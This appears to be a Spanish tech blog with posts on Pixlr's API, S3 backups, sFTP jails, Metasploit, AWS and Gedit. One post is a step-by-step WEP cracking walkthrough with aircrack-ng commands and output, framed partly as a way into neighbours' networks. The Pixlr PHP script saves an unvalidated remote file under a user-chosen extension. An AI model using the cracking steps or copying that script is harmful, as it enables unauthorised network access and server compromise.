Usa la API de Pixlr en tus aplicaciones

¿Tienes una aplicación web que trabaje con imágenes y te interesa poder editarlas remotamente?, ¿no tienes Photoshop y has de retocar alguna imagen?, entonces Pixlr es la solución. Un editor online al más puro estilo Photoshop, intuitivo, gratuito, no requiere ningún tipo de registro y cuenta con esta API para implementarlo en tus proyectos.

Concretamente vamos a ver como enviar una imagen a Pixlr para editarla y posteriormente recibirla en nuestro servidor con solo dos sencillos scripts.

abrir.php - Envía a Pixlr una imagen para editar



< ?php

// Idioma
$url.="&loc=es";

// URL de la imagen que queremos editar
$url.="ℑ=http://www.mipagina.com/imagen.jpg";

// Título de la imagen
$url.="&title=Prueba";

// Metodo a usar para comunicarnos con nuestro servidor
$url.="&method=GET";

// Nombre que le daremos al botón de guardar
$url.="&referrer=imagen%20en%20mi%20servidor";

// URL donde se encuentra el script que recogerá la imagen guardada
$url.="&target=" . urlencode("http://www.miservidor.com/guardar.php");

// Establecemos el enlace con Pixlr
echo"< a href =´http://www.pixlr.com/editor/?$url´>Editar con Pixlr< /a>";

?>


Una vez ejecutado el script veremos que pulsando el enlace se nos abre Pixlr con la imagen indicada cargada por defecto.

Pixlr1

Llevamos a cabo la edición de la imagen, pulsamos guardar y vemos como aparece la opción "Guardar como imagen en mi servidor" que hemos definido anteriormente.

Pixlr2

Esta opción ejecutará el siguiente script que tomará la imagen resultante y la guardará en nuestro servidor.

2. guardar.php | Recibe la imagen editada desde Pixlr



< ?php

// Obtenemos los parámetros
$image = $_GET[´image´];
$type = $_GET[´type´];
$state = $_GET[´state´];
$filename = $_GET[´title´];

// Establecemos el path donde guardaremos la imagen
$image_path = "/imagen.".$type;

// Copiamos la imagen desde el servidor Pixlr al nuestro
copy($image,$image_path);

?>


10-04-2009 | PHP


Haz Backups en Amazon S3 desde Linux

Todos sabemos que los servidores con velocidad, disponibilidad y varios cientos de gigas para almacenamiento no están al alcance de cualquiera. Las tarifas que suelen acompañar a este tipo de servicios han hecho que más de uno optimice al máximo los datos antes de subirlos a Internet, se piense dos veces qué incluir y qué no o que decida montarse un servidor casero con las limitaciones que esto implica (por nombrar dos: velocidad y seguridad).

Pero con la llegada del servicio de almacenamiento masivo S3 de Amazon, podemos disfrutar de alta disponibilidad de datos, velocidad y espacio ilimitado a bajo coste, como puede verse en la tabla de precios de Amazon S3. El servicio funciona de tal manera que pagamos a razón del uso que hacemos. Cuanto más datos alojemos y cuanto más tráfico generemos más pagaremos, pero al contrario de lo que pueda parecer las tarifas son tan bajas que el resultado es un ahorro considerable. A modo de ejemplo alojar 50Gb y generar un tráfico de 20Gb durante un mes nos costaría poco más de 10 Euros. Para cálculos concretos Amazon dispone de esta calculadora online.

Para hacer uso de S3 el primer requisito es registrarse, por lo que si no lo has hecho ya puedes seguir este link para registrarte, o entrar en el portal de Amazon.

El servidor de S3 tiene sus particularidades, y a diferencia de un hosting convencional no tendremos ninguna cuenta FTP/sFTP o similar, así que para trabajar cómodamente con él lo mejor es hacer uso de alguna de las herramientas que se han ido desarrollando alrededor del servicio. Una de las listas más completas la podemos encontrar en el blog de Jeremy Zawodny.

Para hacer backups lo mejor que he encontrado es S3sync, una herramienta muy similar a rSync y que además es gratuita y open source.

Antes de instalar S3sync conviene asegurarnos de que contamos con una versión de Ruby actualizada. Lo he probado tanto en Ubuntu como en Fedora y en ambos la versión preinstalada ha sido suficiente. Es importante comentar que existe una versión S3sync descontinuada, y que la versión que vamos a instalar es la nueva, la reescrita en Ruby.

[root@domU-12-31-39-02-68-55 /]# ruby -v
ruby 1.8.4 (2005-12-24) [i386-linux]


En este caso la versión de Ruby es reciente, por lo que se puede instalar S3sync sin problemas.

Descargamos la aplicación del portal de Amazon S3.

[root@domU-12-31-39-02-68-05 /]# wget http://s3.amazonaws.com/ServEdge_pub/s3sync/s3sync.tar.gz
--05:36:39--  http://s3.amazonaws.com/ServEdge_pub/s3sync/s3sync.tar.gz
           => `s3sync.tar.gz´
Resolving s3.amazonaws.com... 72.21.211.148
Connecting to s3.amazonaws.com|72.21.211.148|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 30,415 (30K) []
100%[====================================>] 30,415        --.--K/s
05:36:39 (7.24 MB/s) - `s3sync.tar.gz´ saved [30415/30415]


Y la descomprimimos.

[root@domU-12-31-39-02-68-05 /]# tar -xzvf s3sync.tar.gz
s3sync
s3sync/HTTPStreaming.rb
s3sync/README.txt
s3sync/README_s3cmd.txt
s3sync/S3.rb
s3sync/s3cmd.rb
s3sync/s3config.rb
s3sync/s3config.yml.example
s3sync/S3encoder.rb
s3sync/s3sync.rb
s3sync/s3try.rb
s3sync/S3_s3sync_mod.rb
s3sync/thread_generator.rb


Cuando nos registramos a Amazon recibimos una clave ID de acceso y una clave secreta que nos valdrá ahora para asociar nuestra cuenta con S3. Asignamos ambas claves al servicio de esta manera. (cambiad ´xxxx´ por vuestro ACCESS KEY ID e ´yyyy´ por vuestro SECRET ACCESS KEY)

[root@domU-12-31-39-02-68-05 /]# AWS_ACCESS_KEY_ID=xxxx
[root@domU-12-31-39-02-68-05 /]# export AWS_ACCESS_KEY_ID
[root@domU-12-31-39-02-68-05 /]# AWS_SECRET_ACCESS_KEY=yyyy
[root@domU-12-31-39-02-68-05 /]# export AWS_SECRET_ACCESS_KEY


Hecho esto todo se reduce a partir de ahora a utilizar el script s3cmd.rb que tenemos dentro de la carpeta s3sync. Antes de nada comentar que la información dentro del S3 se ordena por buckets, que para entendernos se asemejan a las unidades de disco. Es decir, dentro de nuestra cuenta S3 crearemos tantas unidades de disco o buckets como necesitemos, y ahí subiremos nuestros archivos.

Por lo tanto el primer paso será crear los buckets, o al menos uno para empezar a hacer las primeras pruebas. Una vez creado podremos eliminarlos, listarlos, subirles archivos, etc. A continuación una chuleta de los comandos básicos.

Crear un bucket:

./s3cmd.rb createbucket mi_unidad


Eliminar un bucket:

./s3cmd.rb deletebucket mi_unidad


Listar buckets:

./s3cmd.rb listbuckets


Subir un archivo a un bucket:

./s3cmd.rb put mi_unidad:backup.txt example.txt


El comando anterior copiaría el archivo local ´example.txt´ al bucket ´mi_unidad´, donde pasaría a llamarse ´backup.txt´.

Por defecto los archivos que subimos no son accesibles desde un navegador o aplicación que pueda leer URLs, pero podemos hacerlo por medio del siguiente comando:

./s3cmd.rb put mi_unidad:backup.txt example.txt x-amz-acl:public-read


Podemos verificarlo entrando en un navegador e indicando el bucket y el archivo al que queremos acceder:

http://mi_unidad.s3.amazonaws.com/backup.txt

Sigamos con los comandos...

Eliminar un archivo del bucket:

./s3cmd.rb delete mi_unidad:backup.txt


Eliminar todo el contenido de un bucket:

./s3cmd.rb deleteall mi_unidad


Descargar un archivo del bucket si este es público:

wget http://mi_unidad.s3.amazonaws.com/backup.txt


Descargar un archivo del bucket si este es privado:

./s3cmd.rb get mi_unidad:backup.txt example.txt


Para cuando se trata de mover varios archivos, directorios o combinaciones de ambos usamos el script s3sync que también viene incluido. Veamos algunos comandos:

Copiar un directorio local completo al bucket:

./s3sync.rb -r /root/archivos/ mi_unidad:/


Copiaría el contenido del directorio /root/archivos/ en la raiz del bucket.

Copiar un directorio completo del bucket a local:

./s3sync.rb -r mi_unidad: /root/archivos/


Realizaría la operación inversa.

A partir de aquí tan solo necesitamos crear un pequeño script que incluya los comandos necesarios para copiar directorios al bucket, incluirlo en el cron de nuestro equipo y habremos terminado nuestro sistema de backups en S3.

04-04-2009 | Linux


Servidor sFTP con jaulas en Ubuntu

He decidido convertir el PC de casa (Ubuntu) en un pequeño servidor de datos y quiero evitar hacer uso de la triste carpeta/unidad de red compartida de toda la vida y montar algo mejor. Lo que pretendo es poder acceder con conexiones seguras sFTP (FTP+SSH) a un espacio delimitado para cada usuario y con los permisos justos, de manera que ni los datos del resto de usuarios ni los del servidor corran peligro. En mi caso serán tres usuarios los que crearé, pero aquí solo lo haré con uno, ya que para más basta con repetir el procedimiento una y otra vez. En primer lugar instalamos el servidor SSH.

$apt-get install openssh-server

Podemos comprobamos que ha funcionado la instalación conectándonos a nosotros mismos (#ssh 127.0.0.1). En este punto ya podríamos acceder al sistema desde cualquier otro ordenador de la red indicando tan solo un nombre de usuario y la IP del servidor, como por ejemplo #sftp terminal1@ipservidor. Lógicamente el usuario en este caso "terminal1" debería existir en el equipo remoto para que nos acepte la conexión. Vamos a ver como crear ahora un usuario (para el caso usaré ´terminal1´, solo tenéis que sustituir este por el nombre real que queráis usar) con permisos concretos y con acceso delimitado a una zona del servidor, o lo que se conoce como una jaula. Creamos el usuario.

$useradd terminal1

Creamos la carpeta o jaula donde enviaremos al usuario cuando se loguee.

$mkdir /jaula/terminal1

Modificamos esta carpeta para que pertenezca a root y con los permisos justos para que este pueda operar.

$chown root:terminal1 /jaula/terminal1
$chmod 755 /jaula/terminal1

Dentro de esta si es necesario podemos crear una carpeta en la que el usuario ya tenga permisos de lectura y escritura.

#cd terminal1
$mkdir datos
$chown terminal1:terminal1 datos
$chmod 755 datos

Asignamos la jaula al directorio del usuario terminal1.

$usermod -d /jaula/terminal1 terminal1

Le asignamos una shell.

$usermod -s /bin/false terminal1

Y le definimos un password.

$passwd terminal1

Por último vamos a modificar el archivo de configuración del servidor SSH.

$nano /etc/ssh/sshd_config

Es recomendable editar la siguiente linea para impedir que se pueda acceder con una cuenta root.

PermitRootLogin no

Buscamos la linea Subsystem sftp y la eliminamos o comentamos para en su lugar dejarla como la siguiente:

Subsystem sftp internal-sftp

Y añadimos al final del archivo...

Match User terminal1
	ChrootDirectory /jaula/terminal1
	ForceCommand internal-sftp

Reinicamos el servidor de SSH ¡y listos!

$/etc/init.d/ssh restart

Hecho esto ya podemos acceder a nuestro espacio con el usuario terminal1.

#sftp terminal1@ipservidor

Como veréis el usuario una vez logueado es enviado a su espacio, donde dispone de permisos para leer y escribir, pero sin poder salir de ahí. Por último solo nos queda dar de alta la conexión sFTP en los equipos donde vayamos a querer conectarnos, por medio de LUGARES > CONECTAR CON EL SERVIDOR, o en Windows usando Filecilla o cualquier otro programa que permita conectar a servidores sFTP. Una vez hecho esto ya podremos trabajar remotamente con los archivos del servidor como si de una unidad más se tratara, o loguearnos desde un terminal y trabajar desde ahí.

27-03-2009 | Linux


Descubre los fallos de seguridad de tu equipo

Mantener el ordenador actualizado, con su antivirus y un firewall correctamente configurado es algo que todo usuario procura hacer, pero siempre nos queda esa duda de hasta que punto nuestro ordenador está suficientemente protegido. Para estos casos existen herramientas que pueden ayudarnos a evaluar el nivel de seguridad, como Metasploit, una aplicación que nos permite poner a prueba nuestro equipo contra los últimos fallos de seguridad detectados. Metasploit dispone de versiones tanto para Windows como para Linux. Aquí voy indicar los pasos que he seguido para instalarlo en Ubuntu, veréis que sencillo. En primer lugar y dado que esta aplicación ha sido reescrita en Ruby instalaremos las librerías y aplicaciones requeridas.

$apt-get install ruby libruby rdoc
$apt-get install libyaml-ruby
$apt-get install libzlib-ruby
$apt-get install libopenssl-ruby
$apt-get install libdl-ruby
$apt-get install libreadline-ruby
$apt-get install libiconv-ruby
$apt-get install rubygems

Si por alguna razón quisiéramos instalar una versión más antigua de GEMS podemos hacerlo con el siguiente comando:

$gem install -v=1.2.2 rails

En lugar de descargar la aplicación desde la web de Metasploit la instalaremos por medio de Subversion. ¿Nunca antes has usado Subversion? pues haz esto para instalarlo:

$apt-get install subversion

A continuación creamos el directorio donde instalaremos Metasploit.

cd /opt
sudo mkdir MSF
cd MSF

E instalamos.

sudo svn co http://www.metasploit.com/svn/framework3/trunk/

Metasploit incorpora frecuentemente nuevos exploits que podemos actualizar con el siguiente comando:

sudo svn update

Ya podemos ejecutar Metasploit en cualquiera de sus tres variantes: por consola, por web o con una bonita GUI. Todas ellas dentro de la carpeta ´trunk´.

cd trunk

Versión consola:
$ ./msfconsole

Versión Web (http://127.0.0.1:55555):
./msfweb

Versión GUI:
./msfgui

Y ya que Metasploit es muy dado a usarse por Script Kiddies al menos aquí ejecutaremos la versión consola para que no se nos enfaden tanto con nosotros la gente que sabe, y además algo aprenderemos. En sucesivos post explicaré un par de ejemplos de su funcionamiento, mientras tanto jugad vosotros mismos. Truco: Metasploit no solo permite poner a prueba TU ordenador. Metasploit

01-03-2009 | Linux


Primeros pasos en Amazon Web Services

Ha pasado un año desde que me dí de alta en Amazon y a los pocos minutos lo cancelaba todo por parecerme demasiado complicado. Durante el último año he pasado unas cuantas horas gestionando (de aquella manera) servidores dedicados, y he aprendido que hacerlo bien sí es complicado, pero al mismo tiempo le he perdido un poco el miedo, lo que ha ocasionado que en un ataque de prepotencia pensase que tal vez ahora todo me parecería más fácil, y vaya si lo ha sido. Tanto que ahora casi me avergüenzo de no haber conseguido seguir adelante aquella vez. Para los que aún no lo sepan, Amazon Web Services o AWS es un conjunto de plataformas dedicadas a alquilar los data centers de Amazon a desarrolladores por medio de una política en la que pagas según usas. Al mismo tiempo el objetivo es el de poder acceder por un bajo coste a la nube y disponer de recursos suficientes como para mantener servicios web cuya demanda pueda llegar a comprometer hasta el hosting más chulo. Amazon Elastic Compute Cloud (EC2), Amazon Simple Storage Service (S3), Amazon CloudFront, Amazon SimpleDB y Amazon Simple Queue Service (Amazon SQS) son las piezas de este puzzle, y aquí voy tratar de explicar los pasos que he dado para contratar y empezar a usar EC2, que no es más que un servicio escalable en cuanto a capacidad en el que ejecutas una o varias máquinas virtuales (Amazon Machine Instance o AMI) según necesites.

1. Darse de alta

Que duda cabe que el primer paso es registrarse por medio del formulario de Amazon, donde además indicaremos nuestro número de VISA y dirección de facturación. aws_formalta Tras esto y en unos segundos han llegado tres mails en los que se me daba la bienvenida y me facilitaba un link a una página con información sobre mis claves (access key ID, clave de acceso secreta y un certificado X.509, que aún no entiendo bien para qué lo necesito pero que parece muy pero que muy importante). En el siguiente mail un nuevo link, esta vez a una página que permite visualizar el estado de mis cuentas, cuanto estoy consumiendo y por lo tanto cuanto voy a tener que pagar al finalizar el mes.

2. Acceder a la consola de administración (AWS Management Console)

Entrando en http://aws.amazon.com y clicando sobre "Your Accout >> AWS Management Console >> Go to Amazon EC2 Console >>" se accede al espacio desde donde se controla todo.

3. Crear el primer servidor virtual

aws1

Los servidores virtuales son conocidos aquí como instancias de Amazon EC2. Creamos nuestra primera instancia pulsando sobre "Launch Instances" Se puede instalar una instancia con imágenes (AMI) propias, creadas por la comunidad o proporcionadas por Amazon. He tirado por la vía fácil y seleccionado una de Amazon llamada "LAMP Web Starter", y que está compuesta de: Fedora Core 8, 32-bit architecture, PHP 5.0.4, Apache 2.0.54, and MySQL 4.1.20. aws2 Antes de proceder con la instalación pide que se indique una nueva clave, y que descargue el par de clave publica/privada. Nunca antes había reunido tantas claves para un mismo servicio. aws3

4. Configurar el Firewall

En el siguiente paso se define la configuración del Firewall indicando un nombre para el grupo de seguridad, una descripción del mismo y los puertos a dejar abiertos. Inicialmente son tres los que vienen marcados (SSH, HTTP y MySQL). Dejo todos ellos habilitados, ya que al menos a mi se me presentan como indispensables. aws4

5. Lanzar la máquina virtual

Indicando el número de instancias que se quiere de ella (en mi caso con saber hacer funcionar una de momento me vale), el tipo de máquina (Small o High-CPU medium) la clave a usar y los grupos de seguridad permitidos. aws5 No tengo claro si es importante seleccionar ambos grupos de seguridad (el que he definido y el que viene como "default") o si es mejor usar solo uno de ellos, pero algo me dice que lo sabré justo después de que me pase algo muy malo.

6. Fin de la instalación de la máquina virtual

Tal y como muestra la siguiente pantalla ya está lista la primera máquina virtual. aws6

7. De vuelta a la consola de administración (AWS Management Console)

Tras una breve celebración, acudo al panel de administración y puedo apreciar la nueva instancia, que ya se encuentra activa. aws7 Clicando sobre ella puede verse información detallada, donde se indica entre otras cosas la DNS Pública, que servirá para conectar tanto desde el navegador como por SSH.

8. Accediendo al servidor vía SSH

Hay que abrir un cliente de SSH (PuTTY, terminal...). Si se va a usar PuTTY antes hay que convertir la clave con PuTTYgen (http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html) que se ha generado en el paso 4 para poderla usar aquí. Una vez convertido y obtenido el archivo en formato .ppk abrimos PuTTY y en el apartado "SSH >> AUTH" se carga. En la pestaña "Session" se indica el campo Host Name la DNS pública que hablábamos y a conectar, como root. Si la conexión se hace por terminal, así:

ssh -i archivoclave.pem root@dnspublica

Una vez dentro podemos acceder al index.php, que se encuentra en el path /home/webuser/helloworld/htdocs/ Listos. A partir de aquí terminar de configurar y personalizar el servidor y a empezar con las primeras pruebas. ¿Cómo? ¿Qué me falta una captura? ah sí, ahí va... aws_helloworld Ya veis, con la fácil que es y me he tirado un año pensándomelo.

11-02-2009 | Linux


El Desaparecidero

Algo ya más elaborada y con más de un personaje fue la segunda película de la secta. Esta vez la historia va de que Konaminan, de camino a casa del SaveR, encuentra un esferoide sintetizado senoidalmente en base 2 y complemento a 3.

03-01-2009 | Secta


El sueño

Una tarde Konamiman llegó y me contó que había tenido un sueño en el que entraba a mi casa a jugar al MSX. Como si se tratase del argumento del siglo, a las órdenes de Konamiman fuimos reconstruyendo el sueño con nuestra cámara, grabando así la que sería la primera de las películas de la secta.

04-01-2009 | Secta


Fuentes, setas y torradas

Ahora parece que cada fin de semana hay tema. Que si unas setas, que si una fuente, la típica torrada... Vamos, que estoy de un pelandrusqueo de mucho cuidao. Ahí van los tres últimos videos de las tres últimas salidas.

Excursión a la fuente Ses Ufanes

Día de setas

Torrada en Son Trias (Esporles)



23-12-2008 | Vida Social


Cómo hackear redes WIFI con claves WEP

Todos hemos soñado algún día con acceder a las redes WIFI vecinas y navegar sin importar donde nos encontramos. En ocasiones es tan fácil como clicar sobre una WIFI que no tiene contraseña, pero en la mayoría de casos no es así, y cada vez más nos encontramos con claves que impiden nuestro acceso, o no. Lo que viene a continuación es un arma de doble filo. Por un lado una "lección y ponte a prueba" con las claves WEP y la seguridad de tu propia red, y por otro una guía de cómo colarse en la mayoría de las redes WIFI con contraseña, vamos, lo que Microsoft llama usuarios mal intencionados.

Un par de cosas a saber.

  • Es ilegal acceder a las redes WIFI que no son de tu propiedad.
  • Es legal experimentar tanto como quieras con tu propia WIFI ;-)
  • Para esta guía he usado un equipo SAMSUNG R40 plus (tarjeta de red Atheros) y Ubuntu 8.10.
  • Si tu tarjeta de red no es Atheros no podrás seguir el punto donde se configura en modo monitor. Gooooglea.

Un par de términos a saber.

  • AP: Punto de acceso/Access Point
  • ESSID: Nombre del AP
  • BSSID: Dirección MAC

Instalación

No voy a usar Back Track ni otras distribuciones parecidas. Considero que lo más cómodo es tenerlo todo funcionando en mi SO habitual, y este es Ubuntu. Todo el proceso lo haremos con tres aplicaciones que instalaremos en los siguientes pasos. 1. instalar kismet Kismet es una aplicación para hacer sniffer (monitorizar la red), detectar redes inalámbricas e intrusiones. Kismet solo funciona con tarjetas de red inalámbricas que soporten modo monitor (rfmon).

#apt-get install kismet

2. Configurar kismet Una vez instalado debemos editar el archivo kismet.conf (para saber donde encontrarlo hacer un $whereis kismet.conf puede ayudar) y adaptarlo a nuestro tipo de tarjeta. Para ello editamos la linea "suiduser" especificando nuestro nombre de usuario (un usuario que tenga permisos suficiente para ejecutar kismet, como por ejemplo: root), y lo "más complicado" la linea "source" definiendo: un driver, un interface y un nombre. En mi caso (una tarjeta Atheros) la linea source ha quedado así: source=madwifi_b,wifi0,madwifi Dependiendo de la tarjeta de red de cada uno el driver y el interface variará, de manera que lo mejor es tirar de google para buscar cada caso en concreto y leerse la documentación de Kismet, que trae un apartado llamado "Capture Sources" dedicado exclusivamente a este punto. He dicho que es la parte más complicada porque he podido comprobar que mucha gente tira la toalla en este punto (yo casi lo hice), pero todo es cuestión de paciencia hasta encontrar el driver y el interface adecuado (gooooglea). 3. Instalación de aircrack-ng Aircrack-ng es una suite de herramientas que permite craquear contraseñas WEP y WPA-PSK a partir de un buen número de paquetes previamente capturados. Esta guía solo te servirá para contraseñas WEP, aunque una vez superado ya no te quedará mucho hasta las WPA.

#apt-get install aircrack-ng

4. Instalación de las madwifi-tools. Nos permitirá hacer uso de una utilidad que incluye llamada wlanconfig, que permite poner nuestra tarjeta de red en modo monitor.

#apt-get install madwifi-tools

Llegados a este punto tenemos todo lo necesario para realizar nuestro primer ataque.

Llevando a cabo el ataque

1. Iniciamos kismet

$kismet

wep_kismet1

Nos aparecerá una lista de todos los APs detectados a nuestro alrededor. Ordenamos los resultados por calidad de señal pulsando "s" y luego "Q"

wep_kismet2

Nos fijamos la lista de AP´s detectados, concretamente en la columna "W". Esta muestra el tipo de encriptación de cada una, cuyo valor posible es Y/N/O, donde Y=encriptación WEP, N=Red abierta o sin encriptación, y O=Otra, normalmente WPA. Nos desplazamos con los cursores hasta el AP con encriptación WEP que nos interese, y pulsamos ENTER, mostrándose información detallada de la que nos anotaremos el canal el en que está operando (Ch), el nombre del dispositivo (ESSID) y la dirección MAC (BSSID). Con la tecla x volvemos al listado. Salimos de Kismet. 2. Modo monitor Ahora vamos a poner nuestra tarjeta de red en modo monitor. En mi caso el interface es ath0, pero en otras tarjetas de red puede cambiar. Si tu tarjeta de red no es Atheros estos pasos no te van a valer. Pues bien, detenemos el interface que tenemos en modo MANAGED.

#airmon-ng stop ath0

Interface	Chipset		Driver

wifi0		Atheros		madwifi-ng
ath0		Atheros		madwifi-ng VAP (parent: wifi0) (VAP destroyed)

Y lo iniciamos en modo MONITOR.

#airmon-ng start wifi0

Interface	Chipset		Driver

wifi0		Atheros		madwifi-ng
ath0		Atheros		madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

Hacemos un iwconfig para verificar que el modo de la ath0 sea "monitor" y conocer la MAC de su AP.

$iwconfig

lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.

pan0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
          Mode:Monitor  Frequency:2.457 GHz  Access Point: 00:1B:9E:06:9A:5B   
          Bit Rate:0 kb/s   Tx-Power:9 dBm   Sensitivity=1/1  
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=0/70  Signal level=-90 dBm  Noise level=-90 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

NOTA: En algunas ocasiones y aparentemente de manera aleatoria al iniciar el interface ath0 he recibido el siguiente mensaje de error:

#airmon-ng start wifi0

Interface	Chipset		Driver

wifi0		Atheros		madwifi-ngError for wireless request "Set Frequency" (8B04) :
    SET failed on device ath0 ; No such device.
ath0: ERROR mientras se obtenían las banderas de interfaz: No existe el dispositivo

ath1		Atheros		madwifi-ng VAP (parent: wifi0)

Como puede verse no consigue iniciar el interface ath0, pero en su lugar inicia el ath1, que para el caso es lo mismo (lo importante es disponer de una interface en modo monitor). Si ocurre esto seguimos la guía cambiando en adelante cualquier ath0 que aparezca por ath1. Comprobado que funciona igual. 3. Capturando paquetes Ahora que nuestra tarjeta está en modo monitor lo siguiente que necesitamos empezar a capturar paquetes del aire y almacenarlos en nuestro ordenador para más tarde determinar la clave WEP gracias a la información que contienen. Para ello usamos airodump-ng seguido del path y el nombre del archivo donde guardaremos los paquetes, seguido del canal en el que escucharemos (sí, el mismo canal que nos apuntamos cuando habíamos ejecutados Kismet). En este caso guardaremos los paquetes en /home/juansa/archivos, y escucharemos el canal 6.

#airodump-ng -w /home/juansa/archivos ath0 --channel 6

wep_airodump

En estos momentos todos los paquetes que viajan están siendo capturados por nuestra tarjeta y almacenados en nuestro equipo. Una vez tengamos suficientes paquetes (decenas de miles de ellos) podremos tratar de averiguar la clave. Si en la red en la que pretendemos acceder hay actividad se generarán suficientes paquetes como para poder averiguar más tarde la clave WEP, pero si es una red en la que no hay actividad, o simplemente queremos acelerar el proceso de recaudo de paquetes, nos toca a nosotros organizarle una fiesta al router. 4. Generando tráfico Vamos a generar tráfico en el router de manera que podamos capturar con más velocidad. Lo primero será mandarle un paquete de asociación al AP que tenemos en el punto de mira, (como una tarjeta de invitación). Lo hacemos especificando el ESSID del AP, la MAC del AP, nuestra MAC y nuestro interface (aireplay-ng -1 0 -e AP_ESSID -a AP_MAC -h MI_MAC MI_INTERFACE). Abrimos una nuevo terminal y...

#aireplay-ng -1 0 -e Wireless -a 00:C2:C2:C1:CF:A8 -h 06:FB:9E:06:2A:5B ath0

The interface MAC (00:1C:3E:56:2A:5B) doesn´t match the specified MAC (-h).
	ifconfig ath0 hw ether 06:FB:9E:06:2A:5B
20:22:37  Waiting for beacon frame (BSSID: 00:C2:C2:C1:CF:A8) on channel 6

20:22:37  Sending Authentication Request (Open System)
20:22:37  Authentication successful
20:22:37  Sending Association Request
20:22:37  Association successful :-) (AID: 1)

Ya estamos asociados al AP. A partir de estos momentos podemos mandarle al AP cualquier paquete que vaya encriptado con su debida WEP, y como no la conocemos, le enviaremos los mismos paquetes encriptados que el nos envie a nosotros. ;-) (aireplay-ng -3 -b AP_MAC -h MI_MAC)

#aireplay-ng -3 -b 00:C2:C2:C1:CF:A8 -h 06:FB:9E:06:2A:5B ath0

wep_airodump_inject

5. Resolviendo la clave WEP Poco a poco veremos que vamos capturando paquetes (sobre todo los que nos interesan son los paquetes ARP). Una vez tengamos a partir de 100.000 paquetes (columna #Data de airodump-ng) podemos ir pensando en descifrar la clave, pero lo mejor es llegar al menos hasta los 500.000. No obstante lo mejor es ir probando a descifrarla sin detener el proceso. ¡Claro que se puede! En una nueva consola ejecutamos:

#aircrack-ng -s /home/juansa/archivos.cap

Es posible que el nombre no sea el mismo con extensión .cap así que asegúrate antes de qué nombre está tomando el archivo.

wep_descifrando wep_clave

6. Conclusión Nunca, pero nunca nunca nuca, uses una clave WEP en tu router.

Bonus track: Ataque en Speed Run

sudo kismet
sudo airmon-ng stop ath0
sudo airmon-ng start wifi0
sudo airodump-ng -w /home/juansa/archivos ath0 --channel 6
sudo aireplay-ng -1 0 -e Wireless -a 00:00:00:00:00:00 -h 00:00:00:00:00:00 ath0
sudo aireplay-ng -3 -b 00:00:00:00:00:00 -h 00:00:00:00:00:00 ath0
sudo aircrack-ng -s archivos.cap


16-12-2008 | Linux


Gedit ¿mejor editor de código para Linux?

Cuando decidí dar el salto y pasarme a Ubuntu necesité hacerme con un paquete de aplicaciones que me permitiera llevar a cabo las mismas tareas que en Windows, y la cosa salió realmente bien, excepto una (y para mi la más importante): el editor de código, PHP, HTML, JavaScript, XML, CSS... He probado mil y un programas de Linux e incluso usado Wine para poder ejecutar aplicaciones de Windows, pero nada. Y no estoy pidiendo milagros, solo cuatro cosas básicas:

  • Edición remota via FTP/SSH con su arbol de carpetas
  • Simple y liviano
  • Sintaxis resaltada
  • Personalización mínima (fuente, colores...)

Parecerá increíble, pero la edición remota de archivos no está contemplada en casi ninguno de los editores de linux que he probado. La opción de abrir un archivo mediante ftp://usuario:clave@servidor/archivo.txt la soportan muchos, pero es prácticamente inútil si no te muestra un árbol de directorios desde el que puedas cómodamente ir abriendo y haciendo cambios en los distintos archivos, o si no te permite guardarlo remotamente. ZendStudio de Eclipse funciona bien en este aspecto, pero además de ser de pago trae muchísimas opciones que no necesito. El interface simple y liviano es importantísimo cuando vas a pasar muchas horas a diario programando, y parece que algunos desarrolladores tienen la idea de que cuantos más botones, opciones e interminables menús desplegables tengamos más cómodo nos resultará, ¡todo lo contrario! Y por último, para que nuestros ojos no nos hiervan al final del día, es imprescindible la sintaxis resaltada y el poder personalizarnos a nuestro gusto los colores y tipografías de nuestro código. Hay que decir que este aspecto está prácticamente superado en la mayoría de los programas que pude probar. He buscado por todo un IDE que reúna estos cuatro puntos, y cuando parecía que ya no quedaba programa que instalar me he encontrado con que a Gedit, el muy entre comillas “bloc de notas” de Gnome, se le puede tunear de tal manera que ha terminado siendo el ganador. ¡Y ha estado instalado aquí desde el primer día sin que le prestara atención! Veamos como convertir a Gedit en la herramienta perfecta:

ARBOL DE ARCHIVOS Y DIRECTORIOS

Entramos en EDITAR > PREFERENCIAS > COMPLEMENTOS y activamos el llamado “Panel del examinador de archivos”. Tras arrancar de nuevo Gedit veremos a la izquierda un panel desde el que ahora poder navegador por las carpetas de nuestro equipo.

EDICIÓN REMOTA VÍA FTP/SSH

En primer lugar creamos la conexión al servidor por medio de LUGARES > CONECTAR CON EL SERVIDOR. Indicando el host, user y pwsd, marcamos la casilla de “añadir como marcador” y le damos un nombre. A partir de aquí ya podremos acceder a toda la estructura de carpetas para editar, guardar y hasta crear archivos/directorios desde Gedit, ya que los marcadores se muestran en el panel izquierdo que instalamos en el paso anterior. Otra vía para el acceso por FTP es instalando el componente “FTP Browser” de YinSee que puede descargarse gratuitamente de Google Code.

DEFINICIÓN DE ESTILOS

En http://live.gnome.org/GtkSourceView/StyleSchemes existen varios estilos para usar en Gedit, de entre ellos el que recomiendo es Darkmate. Simplemente se descarga el archivo XML de la web y se añade clicando en EDITAR > PREFERENCIAS > TIPOGRAFÍAS Y COLORES > AÑADIR.

CAMBIOS BÁSICOS PARA TERMINAR

Dentro de EDITAR > PREFERENCIAS > VER desmarcamos “activar ajuste de texto” y marcamos “Mostrar número de lineas” y “Resaltar linea actual”. En la pestaña EDITOR asignamos el valor 4 a “Ancho del tabulador” y marcamos “Activar sangría automática”. Con estos simples cambios Gedit toma un aspecto como el de la imagen. gedit A partir de aquí pueden incluirse muchos otros complementos, como los recortes (snippets), activando la opción “Recortes” dentro de COMPLEMENTOS, lo que permite escribir un comando y obtener el conjunto restante, algo que nunca me ha gustado, pero que ahorra tiempo. Aquí puede obtenerse una buena lista de complementos para Gedit que os permitirá hacer casi cualquier cosa.



28-11-2008 | Linux




Suscribirse